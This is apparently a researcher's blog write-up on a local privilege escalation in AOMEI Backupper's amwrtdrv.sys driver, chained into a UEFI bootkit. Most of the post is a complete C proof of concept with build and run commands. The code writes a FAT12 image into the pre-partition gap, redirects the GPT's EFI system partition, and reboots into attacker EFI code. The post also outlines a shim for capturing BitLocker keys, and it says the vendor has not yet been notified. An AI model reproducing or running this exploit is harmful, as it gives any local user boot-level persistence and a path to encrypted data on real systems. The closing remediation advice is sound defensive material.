_._     _,-'""`-._
(,-.`._,'(       |\`-/|
    `-.-' \ )-`( , o o)
          `-    \`_`"'-

amwrtdrv: AOMEI Backupper hands every local user the disk

2026-06-25 · AOMEI Backupper 8.4.0 · windowslpekernel-driveruefibootkitfat12gpt
The integrity of the upright shall guide them: but the perverseness
of transgressors shall destroy them.
— Proverbs 11:3 (KJV)

AOMEI Backupper ships a kernel driver called amwrtdrv.sys. that driver exposes a device interface that every local user can open, read from, and write to. no admin token. no UAC. no privileges of any kind required.

what follows is that access turned into UEFI-level code execution, running before the kernel, before HVCI, before Defender, before anything.

prior work

CVE-2026-12780 was assigned to this driver class by someone else, against AOMEI Backupper 8.3.0. their PoC mounts a 64MB test VHD, calculates NTFS cluster offsets, and uses the driver to read and modify an admin-only file on that VHD. clean find, legitimate bug report.

this write-up is independent work, tested on version 8.4.0 (released after 8.3.0, ships the same vulnerable driver binary). the technique here is different: instead of NTFS cluster math on a test disk, we redirect the GPT, plant a FAT12 image in the unprotected pre-partition gap, and achieve EFI-level code execution on the live system disk before the OS loads. we confirmed the driver was unchanged in 8.4.0 before running.

the driver

binary:  C:\Windows\System32\amwrtdrv.sys
size:    32,176 bytes, x64 PE, kernel driver
service: amwrtdrv, AUTO_START
tested:  AOMEI Backupper 8.4.0

device objects:

\Device\amwrtdrv
\DosDevices\amwrtdrv
\Device\Harddisk%d\Partition0

dispatch table:

IRP_MJ_CREATE         0x00011198
IRP_MJ_CLOSE          0x000115e4
IRP_MJ_READ           0x0001132c
IRP_MJ_WRITE          0x00011494
IRP_MJ_DEVICE_CONTROL 0x0001160c
DriverUnload          0x0001171c

DO_BUFFERED_IO set. no security descriptor on the device object. no call to IoCreateDeviceSecure, RtlSetDaclSecurityDescriptor, or any security function whatsoever. the default DACL applies and any process on the box can open a handle.

the create handler (0x11198)

the handler checks FileObject->FileName: must be non-empty and contain the substring DISK. if both pass, it pulls N from the filename after DISK, builds \Device\HarddiskN\Partition0, and calls IoGetDeviceObjectPointer from kernel context. the returned device object pointer lands in FileObject->FsContext2 for the read and write handlers to use later.

that one detail is the whole bug. IoGetDeviceObjectPointer runs as the kernel, not as your user process. every ACL on the raw disk device that would normally deny you access? doesn't apply. the kernel doesn't check your token.

CreateFile("\\\\.\\amwrtdrv\\DISK0", GENERIC_READ|GENERIC_WRITE, ...)

no admin. no UAC. no SeDebugPrivilege. it just works.

read and write handlers

both handlers grab the disk device object from FileObject->FsContext2, call IoBuildSynchronousFsdRequest to build an IRP targeting the raw disk, and hand it off to the real disk driver via IofCallDriver.

mov rcx, [rbx + 0x30]    ; FileObject
mov rcx, [rcx + 0x20]    ; FsContext2 -- stored disk device object
call IoGetAttachedDeviceReference
call IoBuildSynchronousFsdRequest
call IofCallDriver

your buffer, your offset, forwarded to disk.sys from kernel mode. NTFS never consulted. no permission check.

one catch: disk.sys refuses raw writes to sectors belonging to a currently mounted partition. write to the FAT32 ESP (LBA 2048+) and you get ERROR_ACCESS_DENIED. the IRP gets kicked back before it touches disk. you can't just overwrite bootmgfw.efi in place.

the pre-partition gap — LBA 34 through 2047, roughly 1MB of dead space between the end of the GPT partition table and the first actual partition — is completely unguarded. no volume owns it. disk.sys doesn't protect it. writes go straight through.

disk layout

Partition 0: EFI system partition
  LBA 2048-616447, FAT32, ~300MB, unencrypted

Partition 1: Microsoft reserved
  LBA 616448-649215

Partition 2: Basic data (C:\)
  LBA 649216-209715166, NTFS, BitLocker encrypted

Pre-partition gap: LBA 34-2047 (1,028,096 bytes)
  Unowned. Unprotected. Writable by any user via amwrtdrv.

Secure Boot off. Registry confirms it:

HKLM\SYSTEM\CurrentControlSet\Control\SecureBoot\State\UEFISecureBootEnabled = 0

exploit chain

step 1: open the device

any local user. no elevation.

HANDLE h = CreateFile("\\\\.\\amwrtdrv\\DISK0",
    GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
    NULL, OPEN_EXISTING, 0, NULL);

step 2: read and save the original GPT

LBA 1 = GPT header (512 bytes). LBA 2-33 = partition entries (16384 bytes). find the ESP entry by type GUID C12A7328-F81F-11D2-BA4B-00A0C93EC93B. save the original StartingLBA/EndingLBA. save LBA 1 and the first 512 bytes of LBA 2 — the EFI payload will need these to restore the GPT after it runs.

step 3: build a FAT12 image and plant it in the gap

construct a FAT12 filesystem that fits in 2014 sectors (LBA 34-2047). with SPC=4 this gives ~494 data clusters. that cluster count is in the FAT12 range, which means 12-bit packed entries are required. FAT16-style 16-bit entries here produce a broken cluster chain that UEFI reads as all-EOF.

the image contains your EFI payload at two paths:

\EFI\Microsoft\Boot\bootmgfw.efi   (matches the stored NVRAM boot entry)
\EFI\Boot\BOOTX64.EFI              (pure 8.3 fallback, no NVRAM needed)

Microsoft (9 chars) needs one LFN slot: ordinal 0x41, SFN MICROS~1, checksum 0xD8. write the 1MB image to LBA 34. no issues — LBA 34 is outside any mounted volume.

step 4: redirect the GPT

in the partition entries, patch the ESP StartingLBA to 34 and EndingLBA to 2047. recompute PartitionEntryArrayCRC32 over all 16384 bytes. zero the header CRC field in the GPT header, update PartitionEntryArrayCRC32 at offset 88, recompute the header CRC32 over the first 92 bytes. write LBA 1 and LBA 2.

step 5: reboot

UEFI reads the GPT. sees the ESP at LBA 34. mounts the FAT12. finds \EFI\Microsoft\Boot\bootmgfw.efi (or falls back to BOOTX64.EFI). loads and executes it. your code runs at BDS phase — before the kernel, before HVCI, before Defender, before everything.

step 6: EFI payload

PE32+ with subsystem 0xA (EFI application), no relocations, preferred base 0x400000. on entry it enumerates block I/O handles, finds the physical disk (LogicalPartition==FALSE, BlockSize==512, LastBlock>10000), writes original LBA 1 back, writes original LBA 2 back, writes proof string to LBA 40, stalls 3 seconds, calls RT->ResetSystem(EfiResetCold). after the cold reset UEFI re-reads the disk and sees the original GPT. Windows boots clean. LBA 40 has your proof. nobody knows anything happened.

proof of concept

build: x86_64-w64-mingw32-gcc -O2 -o poc.exe amwrtdrv_poc.c
run:   poc.exe  (any local user, no admin, no patches)
/*
 * https://afflicted.sh/
 * Written by: _SiCk
 *
 *  _._     _,-'""`-._
 * (,-.`._,'(       |\`-/|
 *     `-.-' \ )-`( , o o)
 *           `-    \`_`"'-
 *
 * amwrtdrv.sys LPE -> EFI bootkit
 * arbitrary disk r/w as unprivileged user -> UEFI-level code execution
 *
 * build: x86_64-w64-mingw32-gcc -O2 -o poc.exe amwrtdrv_poc.c
 * run:   poc.exe  (any local user, no admin, no patches)
 */

#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

/* efi payload -- PE32+ EFI application, embedded at build time,
   patched at runtime with original GPT sectors before deploy     */
static unsigned char efi_payload[] = { /* ... 7287 bytes ... */ };
#define EFI_SZ sizeof(efi_payload)

static uint32_t crc32(const void *buf, size_t len) {
    uint32_t crc = 0xFFFFFFFF;
    const uint8_t *p = buf;
    while (len--) {
        crc ^= *p++;
        for (int i = 0; i < 8; i++)
            crc = (crc >> 1) ^ (0xEDB88320u & -(crc & 1));
    }
    return ~crc;
}

static HANDLE drv_open(void) {
    HANDLE h = CreateFileW(L"\\\\.\\amwrtdrv\\DISK0",
        GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
        NULL, OPEN_EXISTING, 0, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        fprintf(stderr, "[-] open failed: %lu\n", GetLastError()); exit(1);
    }
    return h;
}

static void disk_rw(HANDLE h, uint64_t lba, void *buf, DWORD n, int write) {
    LARGE_INTEGER off; off.QuadPart = (LONGLONG)(lba * 512);
    SetFilePointerEx(h, off, NULL, FILE_BEGIN);
    DWORD done;
    int ok = write ? WriteFile(h, buf, n, &done, NULL)
                   : ReadFile(h, buf, n, &done, NULL);
    if (!ok || done != n) {
        fprintf(stderr, "[-] %s LBA %llu failed: %lu\n",
            write ? "write" : "read", (unsigned long long)lba, GetLastError());
        exit(1);
    }
}
#define disk_read(h,lba,buf,n)  disk_rw(h,lba,buf,n,0)
#define disk_write(h,lba,buf,n) disk_rw(h,lba,buf,n,1)

#define FAT_TOTAL 2014
#define BPS 512
#define SPC 4
#define RSV 1
#define NFATS 2
#define RCNT 512
#define RDSEC 32
#define FAT_SZ 2
#define FIRST_DATA 37
#define CLUST_EFI 2
#define CLUST_MS 3
#define CLUST_MSBOOT 4
#define CLUST_EFBOOT 5
#define CLUST_FILE 6

static void fat12_set(uint8_t *fat, int c, uint16_t v) {
    int off = c * 3 / 2;
    if (c % 2 == 0) {
        fat[off]   = v & 0xFF;
        fat[off+1] = (fat[off+1] & 0xF0) | ((v >> 8) & 0x0F);
    } else {
        fat[off]   = (fat[off] & 0x0F) | ((v & 0x0F) << 4);
        fat[off+1] = (v >> 4) & 0xFF;
    }
}

static uint8_t sfn_cksum(const char *s) {
    uint8_t c = 0;
    for (int i = 0; i < 11; i++)
        c = (((c & 1) << 7) | ((c >> 1) & 0x7F)) + (uint8_t)s[i];
    return c;
}

static uint8_t *build_fat12(const uint8_t *efi, size_t efi_sz) {
    uint8_t *img = calloc(1, FAT_TOTAL * BPS);

    /* BPB */
    img[0]=0xEB; img[1]=0x58; img[2]=0x90;
    memcpy(img+3,"SICK_ESP",8);
    *(uint16_t*)(img+11)=BPS; img[13]=SPC;
    *(uint16_t*)(img+14)=RSV; img[16]=NFATS;
    *(uint16_t*)(img+17)=RCNT; *(uint16_t*)(img+19)=FAT_TOTAL;
    img[21]=0xF8; *(uint16_t*)(img+22)=FAT_SZ;
    *(uint16_t*)(img+24)=63; *(uint16_t*)(img+26)=255;
    img[36]=0x80; img[38]=0x29; *(uint32_t*)(img+39)=0x53694357;
    memcpy(img+43,"SICK EFI   ",11); memcpy(img+54,"FAT12   ",8);
    img[510]=0x55; img[511]=0xAA;

    /* FAT12 -- 12-bit packed entries. 494 clusters = FAT12 range.
       FAT16-style 16-bit entries break the cluster chain here.   */
    uint8_t *fat = img + RSV*BPS;
    fat12_set(fat,0,0xFF8); fat12_set(fat,1,0xFFF);
    fat12_set(fat,CLUST_EFI,0xFFF); fat12_set(fat,CLUST_MS,0xFFF);
    fat12_set(fat,CLUST_MSBOOT,0xFFF); fat12_set(fat,CLUST_EFBOOT,0xFFF);
    int n_clus = (int)((efi_sz+SPC*BPS-1)/(SPC*BPS));
    for (int i = 0; i < n_clus; i++)
        fat12_set(fat, CLUST_FILE+i, i<n_clus-1 ? CLUST_FILE+i+1 : 0xFFF);
    memcpy(fat+FAT_SZ*BPS, fat, FAT_SZ*BPS);

    /* file data */
    for (int i = 0; i < n_clus; i++) {
        size_t o = (size_t)i*SPC*BPS, c = efi_sz-o;
        if (c > (size_t)(SPC*BPS)) c = SPC*BPS;
        memcpy(img+(FIRST_DATA+(CLUST_FILE-2+i)*SPC)*BPS, efi+o, c);
    }

    /* root dir: EFI/ */
    uint8_t *root = img+(RSV+NFATS*FAT_SZ)*BPS;
    memcpy(root,"EFI        ",11); root[11]=0x10; *(uint16_t*)(root+26)=CLUST_EFI;

    /* /EFI: LFN "Microsoft" + SFN MICROS~1 + BOOT fallback dir */
    uint8_t *ed = img+(FIRST_DATA+(CLUST_EFI-2)*SPC)*BPS;
    static const uint16_t msn[13]={'M','i','c','r','o','s','o','f','t',0,0xFFFF,0xFFFF,0xFFFF};
    ed[0]=0x41; memcpy(ed+1,msn,10); ed[11]=0x0F; ed[13]=sfn_cksum("MICROS~1   ");
    memcpy(ed+14,msn+5,12); memcpy(ed+28,msn+11,4);
    memcpy(ed+32,"MICROS~1   ",11); ed[43]=0x10; *(uint16_t*)(ed+58)=CLUST_MS;
    memcpy(ed+64,"BOOT       ",11); ed[75]=0x10; *(uint16_t*)(ed+90)=CLUST_EFBOOT;

    /* /EFI/Microsoft -> BOOT/ -> BOOTMGFW.EFI */
    uint8_t *md=img+(FIRST_DATA+(CLUST_MS-2)*SPC)*BPS;
    memcpy(md,"BOOT       ",11); md[11]=0x10; *(uint16_t*)(md+26)=CLUST_MSBOOT;
    uint8_t *mb=img+(FIRST_DATA+(CLUST_MSBOOT-2)*SPC)*BPS;
    memcpy(mb,"BOOTMGFW",8); memcpy(mb+8,"EFI",3);
    mb[11]=0x20; *(uint16_t*)(mb+26)=CLUST_FILE; *(uint32_t*)(mb+28)=(uint32_t)efi_sz;

    /* /EFI/Boot -> BOOTX64.EFI (pure 8.3 fallback) */
    uint8_t *eb=img+(FIRST_DATA+(CLUST_EFBOOT-2)*SPC)*BPS;
    memcpy(eb,"BOOTX64 ",8); memcpy(eb+8,"EFI",3);
    eb[11]=0x20; *(uint16_t*)(eb+26)=CLUST_FILE; *(uint32_t*)(eb+28)=(uint32_t)efi_sz;

    return img;
}

static void do_reboot(void) {
    HANDLE tok;
    OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &tok);
    TOKEN_PRIVILEGES tp; tp.PrivilegeCount=1;
    tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
    LookupPrivilegeValueW(NULL, L"SeShutdownPrivilege", &tp.Privileges[0].Luid);
    AdjustTokenPrivileges(tok, FALSE, &tp, 0, NULL, NULL); CloseHandle(tok);
    if (!InitiateSystemShutdownExW(NULL,NULL,0,TRUE,TRUE,SHTDN_REASON_FLAG_PLANNED))
        fprintf(stderr,"[!] reboot failed (%lu) -- do it manually\n",GetLastError());
}

static const uint8_t ESP_GUID[16] = {
    0x28,0x73,0x2A,0xC1,0x1F,0xF8,0xD2,0x11,0xBA,0x4B,0x00,0xA0,0xC9,0x3E,0xC9,0x3B
};

int main(void) {
    puts("https://afflicted.sh/\nWritten by: _SiCk\n\n"
         " _._     _,-'\"\"` -._\n"
         "(,-.`._,'(       |\\`-/|\n"
         "    `-.-' \\ )-`( , o o)\n"
         "          `-    \\`_`\"'-\n\n"
         "amwrtdrv.sys lpe -> efi bootkit\n");

    HANDLE h = drv_open();
    printf("[+] opened \\\\.\\amwrtdrv\\DISK0  handle=%p\n", (void*)h);

    static uint8_t sec1[512], sec2[512*32];
    disk_read(h,1,sec1,512); disk_read(h,2,sec2,512*32);
    if (memcmp(sec1,"EFI PART",8)) { fputs("[-] not GPT\n",stderr); exit(1); }

    uint32_t orig_hdr_crc; memcpy(&orig_hdr_crc,sec1+16,4);
    printf("[*] GPT hdr_crc=%08x\n", orig_hdr_crc);

    int esp_idx=-1; uint64_t esp_start, esp_end;
    for (int i=0; i<128; i++) {
        if (!memcmp(sec2+i*128, ESP_GUID, 16)) {
            esp_idx=i;
            memcpy(&esp_start,sec2+i*128+32,8);
            memcpy(&esp_end,  sec2+i*128+40,8);
            break;
        }
    }
    if (esp_idx<0) { fputs("[-] no ESP\n",stderr); exit(1); }
    printf("[*] ESP at LBA %llu-%llu\n",
        (unsigned long long)esp_start,(unsigned long long)esp_end);

    /* patch efi binary: replace marker bytes with real GPT sectors */
    uint8_t *efi = malloc(EFI_SZ); memcpy(efi,efi_payload,EFI_SZ);
    static const uint8_t m1[8]={0x11,0x11,0x11,0x11,0x11,0x11,0x11,0x11};
    static const uint8_t m2[8]={0x22,0x22,0x22,0x22,0x22,0x22,0x22,0x22};
    uint8_t *p1=NULL, *p2=NULL;
    for (size_t i=0; i+8<=EFI_SZ; i++) {
        if (!p1 && !memcmp(efi+i,m1,8)) p1=efi+i;
        if (!p2 && !memcmp(efi+i,m2,8)) p2=efi+i;
    }
    if (!p1||!p2) { fputs("[-] markers not found\n",stderr); exit(1); }
    memcpy(p1,sec1,512); memcpy(p2,sec2,512);
    printf("[*] patched EFI binary with original GPT sectors\n");

    printf("[*] building FAT12 image (2014 sectors)...\n");
    uint8_t *fat12 = build_fat12(efi,EFI_SZ);
    printf("[*] writing FAT12 to LBA 34-2047...\n");
    disk_write(h,34,fat12,FAT_TOTAL*BPS);
    free(fat12); free(efi);

    printf("[*] redirecting GPT ESP entry -> LBA 34...\n");
    static uint8_t parts_mod[512*32]; memcpy(parts_mod,sec2,sizeof(parts_mod));
    uint64_t ns=34, ne=2047;
    memcpy(parts_mod+esp_idx*128+32,&ns,8);
    memcpy(parts_mod+esp_idx*128+40,&ne,8);
    uint32_t pe_crc=crc32(parts_mod,16384);
    static uint8_t hdr_mod[512]; memcpy(hdr_mod,sec1,512);
    memcpy(hdr_mod+88,&pe_crc,4); memset(hdr_mod+16,0,4);
    uint32_t hdr_crc=crc32(hdr_mod,92); memcpy(hdr_mod+16,&hdr_crc,4);
    disk_write(h,1,hdr_mod,512);
    disk_write(h,2,parts_mod,512);
    CloseHandle(h);

    printf("[+] done -- rebooting\n    LBA 40 will contain proof after boot\n");
    do_reboot();
    return 0;
}

output, run as user noob (zero elevation, no groups):

[+] opened \\.\amwrtdrv\DISK0  handle=00000000000000ec
[*] GPT hdr_crc=3455ba4f
[*] ESP at LBA 2048-616447
[*] patched EFI binary with original GPT sectors
[*] building FAT12 image (2014 sectors)...
[*] writing FAT12 to LBA 34-2047...
[*] redirecting GPT ESP entry -> LBA 34...
[+] done -- rebooting
    LBA 40 will contain proof after boot

LBA 40, read back from the live system after Windows rebooted clean:

[SiCk] EFI exec confirmed -- amwrtdrv lpe -- afflicted.sh

no admin. no network access. no kernel exploit. no patches.

what you can do with this

your EFI payload runs before anything Windows-side has a chance to wake up. before the kernel loads, before HVCI initializes, before Defender gets a chance to sneeze, before any EDR hooks a single kernel callback.

does hvci help? (no)

HVCI uses the hypervisor to enforce that only signed code runs in the kernel. doesn't help here. look at where it sits in the boot chain:

UEFI firmware
  -> bootmgfw.efi     (your code runs here)
     -> winload.efi
        -> ntoskrnl.exe
           -> Hyper-V
              -> HVCI starts    (too late)

HVCI protects the kernel from unsigned code. your attack code already ran before the kernel existed. you can instruct winload.efi not to enable VBS, or load your own hypervisor instead of Hyper-V. HVCI can't protect the binaries that are responsible for starting it.

does bitlocker help? (sort of, with caveats)

BitLocker encrypts the NTFS data partition. it does not and cannot encrypt the ESP. UEFI firmware needs to read bootmgfw.efi before any decryption key exists, so the ESP has to stay plaintext. the disk write works regardless of whether BitLocker is running.

where BitLocker does bite: it seals the VMK into the TPM against PCR measurements. PCR4 includes a hash of the EFI binary loaded by the firmware. replace bootmgfw.efi, PCR4 changes on next boot, TPM refuses to release the VMK, BitLocker recovery mode, encrypted NTFS stays locked.

here's the catch. on a machine where Secure Boot is already off, PCR7 is zero. that makes TPM-only BitLocker vulnerable to the classic evil maid approach: write a shim that loads the real bootmgfw.efi from a renamed backup, intercepts the moment the TPM unseals the VMK, captures it from memory, then continues the normal boot. PCR4 changes because our shim ran, but we let the original binary handle the actual TPM interaction, so the unseal succeeds. encrypted data is now yours.

TPM + PIN mode closes that specific avenue since the attacker can't replay the PIN, but your EFI code still runs either way. the ESP is always fair game.

fixes

root cause: the device object is created with no security descriptor.

in DriverEntry, apply a DACL that restricts access to LocalSystem or whatever service account AOMEI runs under. only that account should be able to open the device for write:

RtlCreateSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);
RtlSetDaclSecurityDescriptor(&sd, TRUE, adminOnlyAcl, FALSE);
/* pass &sd to IoCreateDeviceSecure instead of IoCreateDevice */

also: this driver doesn't need to be AUTO_START. load it when AOMEI is actually doing a backup, unload it when done. sitting resident 24/7 for a driver this dangerous is not a good look.

on the defensive side, turn Secure Boot on. that alone blocks the bootkit delivery since UEFI will refuse to load your unsigned EFI binary. BitLocker with TPM+PIN adds protection for data at rest. EDR and ASR rules won't catch this because the driver is legitimately signed and the attack is just using its intended interface in a way the author clearly didn't think about.

timeline

Discovered:      2026
Tested version:  AOMEI Backupper 8.4.0
CVE-2026-12780:  assigned to same bug class by separate researcher, against 8.3.0
Vendor notified: not yet
Written up:      2026-06-25

if you're running AOMEI Backupper and Secure Boot is off, any local user owns your boot chain. there's no heap spray, no ROP chain, no type confusion. it's a kernel driver that opens the physical disk for anyone who asks, because whoever wrote it never thought about what happens when the wrong person does the asking.

and honestly, if you think this is the only backup tool pulling this kind of stunt, good luck sleeping at night.

. _SiCk · afflicted.sh